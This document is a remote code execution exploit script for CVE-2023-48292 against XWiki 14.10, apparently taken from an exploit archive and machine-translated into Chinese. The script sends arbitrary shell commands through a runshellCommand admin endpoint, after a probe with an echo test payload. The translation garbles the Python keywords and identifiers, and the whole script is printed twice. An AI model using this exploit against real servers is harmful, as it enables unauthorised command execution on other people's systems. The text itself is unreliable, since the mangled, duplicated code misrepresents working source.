#利用标题: CVE-2023-48292远程代码执行
#Google Dork: N/A
#DATE: 2025年3月23日
#利用作者: Mehran Seifalinia
#供应商homepage: https://www.xwiki.org/
#软件link: https://www.xwiki.org/xwiki/bin/view/download/
#版本: XWIKI标准14.10
#测试在: Ubuntu 20.04 lts with openjdk 11
#CVE : CVE-2023-48292
来自ArgParse Import grognmparser
导入系统
导入记录
从请求import获取,发布,请求exception
导入验证器
#常数
cve_name='CVE-2023-48292'
标题={
'用户代理:'Mozilla/5.0(X11; Linux X86_64)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/114.0.0.0.0.0 Safari/537.36'
}
#配置记录
def setup_logging(logFile):
logger=logging.getLogger()
logger.setlevel(logging.info)
#为控制台输出创建一个记录处理程序
console_handler=logging.streamhandler(sys.stdout)
console_handler.setFormatter(logging.formatter('%(asctime)s-%(levelName)s -%(消息)s'))
logger.addhandler(console_handler)
#为文件输出创建一个记录处理程序
file_handler=logging.filehandler(logfile)
file_handler.setFormatter(logging.formatter('%(asctime)s-%(levelName)s-%(消息)s'))
logger.addhandler(file_handler)
def validate_url(url):
'''
验证URL以确保其具有正确的格式,并以“ http://”或“ https://”开头.
'''
如果不是验证器。URL(url):
logging.error('无效目标URL格式。它必须以'http://'或'https://'。'。')开头
sys.exit(1)
返回url.rstrip('/')
def check_vulnerability(target_url,方法):
'''
检查目标URL是否容易受到CVE-2023-48292漏洞的影响。
我们发送测试有效载荷并检查响应以确定漏洞是否存在。
'''
TRY:
#测试有效载荷以检查漏洞
test_payload='echo'testTestTest1234''#有效载荷以在目标系统上执行test命令
vulenerable_url=f'{target_url}/xwiki/bin/view/admin/runshellCommand?command={test_payload}'
如果方法=='get':
响应=get(vulnerable_url,标头=标题)
else:#方法=='post'
响应=post(vulnerable_url,标头=标题)
if antys.status_code==200和'testTestTest1234'in wendesp.text:
logging.info(“目标是脆弱的!命令执行测试成功。”)
返回true
其他:
logging.info(“目标似乎并不脆弱。”)
返回false
除了requestException为error:
logging.error(f'http请求错误: {error}')
sys.exit(1)
def perferm_attack(target_url,有效载荷,方法):
'''
通过将自定义有效载荷发送到弱势服务器来执行攻击。
'''
TRY:
logging.info(使用有效载荷: {有效载荷}')
vulnerable_url=f'{target_url}/xwiki/bin/view/admin/runshellCommand?command={有效载荷}'
如果方法=='get':
响应=get(vulnerable_url,标头=标题)
else:#方法=='post'
响应=post(vulnerable_url,标头=标题)
if antsphy.status_code==200:
logging.info(f'Attack成功!响应: {wendesp.text [:100]} .')#显示响应的摘要
其他:
伐木。
除了requestException为error:
logging.error(f'http请求错误: {error}')
sys.exit(1)
def main():
'''
解析命令行参数,检查漏洞并选择执行攻击的主要功能。
'''
parser=grightparser(description=f'{cve_name}利用脚本')
parser.add_argument('target',help='target url(例如https://vulnsite.com))
parser.add_argument(' - exploit',action='store_true',help='用有效载荷执行攻击')
parser.add_argument(' - 有效载荷',默认='echo'testTestTestTest1234'',help='剥削的自定义有效负载')
parser.add_argument(' - method',选择=['get','post'],默认='get',help='http方法使用(get或post)')
parser.add_argument(' - logfile',default='exploit.log',help='日志文件以存储结果')
args=parser.parse_args()
#设置日志记录到文件和控制台
setup_logging(args.logfile)
#验证目标网址
target_url=validate_url(args.target)
logging.info(“检查漏洞的目标.')
如果check_vulnerability(target_url,args.method):
如果Args.exploit:
#用提供的有效载荷执行攻击
percorm_attack(target_url,args.payload,args.method)
其他:
logging.info('用'运行' - 示例'尝试攻击。')
其他:
伐木。
如果name=='__ -Main __':
主要的()
#Google Dork: N/A
#DATE: 2025年3月23日
#利用作者: Mehran Seifalinia
#供应商homepage: https://www.xwiki.org/
#软件link: https://www.xwiki.org/xwiki/bin/view/download/
#版本: XWIKI标准14.10
#测试在: Ubuntu 20.04 lts with openjdk 11
#CVE : CVE-2023-48292
来自ArgParse Import grognmparser
导入系统
导入记录
从请求import获取,发布,请求exception
导入验证器
#常数
cve_name='CVE-2023-48292'
标题={
'用户代理:'Mozilla/5.0(X11; Linux X86_64)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/114.0.0.0.0.0 Safari/537.36'
}
#配置记录
def setup_logging(logFile):
logger=logging.getLogger()
logger.setlevel(logging.info)
#为控制台输出创建一个记录处理程序
console_handler=logging.streamhandler(sys.stdout)
console_handler.setFormatter(logging.formatter('%(asctime)s-%(levelName)s -%(消息)s'))
logger.addhandler(console_handler)
#为文件输出创建一个记录处理程序
file_handler=logging.filehandler(logfile)
file_handler.setFormatter(logging.formatter('%(asctime)s-%(levelName)s-%(消息)s'))
logger.addhandler(file_handler)
def validate_url(url):
'''
验证URL以确保其具有正确的格式,并以“ http://”或“ https://”开头.
'''
如果不是验证器。URL(url):
logging.error('无效目标URL格式。它必须以'http://'或'https://'。'。')开头
sys.exit(1)
返回url.rstrip('/')
def check_vulnerability(target_url,方法):
'''
检查目标URL是否容易受到CVE-2023-48292漏洞的影响。
我们发送测试有效载荷并检查响应以确定漏洞是否存在。
'''
TRY:
#测试有效载荷以检查漏洞
test_payload='echo'testTestTest1234''#有效载荷以在目标系统上执行test命令
vulenerable_url=f'{target_url}/xwiki/bin/view/admin/runshellCommand?command={test_payload}'
如果方法=='get':
响应=get(vulnerable_url,标头=标题)
else:#方法=='post'
响应=post(vulnerable_url,标头=标题)
if antys.status_code==200和'testTestTest1234'in wendesp.text:
logging.info(“目标是脆弱的!命令执行测试成功。”)
返回true
其他:
logging.info(“目标似乎并不脆弱。”)
返回false
除了requestException为error:
logging.error(f'http请求错误: {error}')
sys.exit(1)
def perferm_attack(target_url,有效载荷,方法):
'''
通过将自定义有效载荷发送到弱势服务器来执行攻击。
'''
TRY:
logging.info(使用有效载荷: {有效载荷}')
vulnerable_url=f'{target_url}/xwiki/bin/view/admin/runshellCommand?command={有效载荷}'
如果方法=='get':
响应=get(vulnerable_url,标头=标题)
else:#方法=='post'
响应=post(vulnerable_url,标头=标题)
if antsphy.status_code==200:
logging.info(f'Attack成功!响应: {wendesp.text [:100]} .')#显示响应的摘要
其他:
伐木。
除了requestException为error:
logging.error(f'http请求错误: {error}')
sys.exit(1)
def main():
'''
解析命令行参数,检查漏洞并选择执行攻击的主要功能。
'''
parser=grightparser(description=f'{cve_name}利用脚本')
parser.add_argument('target',help='target url(例如https://vulnsite.com))
parser.add_argument(' - exploit',action='store_true',help='用有效载荷执行攻击')
parser.add_argument(' - 有效载荷',默认='echo'testTestTestTest1234'',help='剥削的自定义有效负载')
parser.add_argument(' - method',选择=['get','post'],默认='get',help='http方法使用(get或post)')
parser.add_argument(' - logfile',default='exploit.log',help='日志文件以存储结果')
args=parser.parse_args()
#设置日志记录到文件和控制台
setup_logging(args.logfile)
#验证目标网址
target_url=validate_url(args.target)
logging.info(“检查漏洞的目标.')
如果check_vulnerability(target_url,args.method):
如果Args.exploit:
#用提供的有效载荷执行攻击
percorm_attack(target_url,args.payload,args.method)
其他:
logging.info('用'运行' - 示例'尝试攻击。')
其他:
伐木。
如果name=='__ -Main __':
主要的()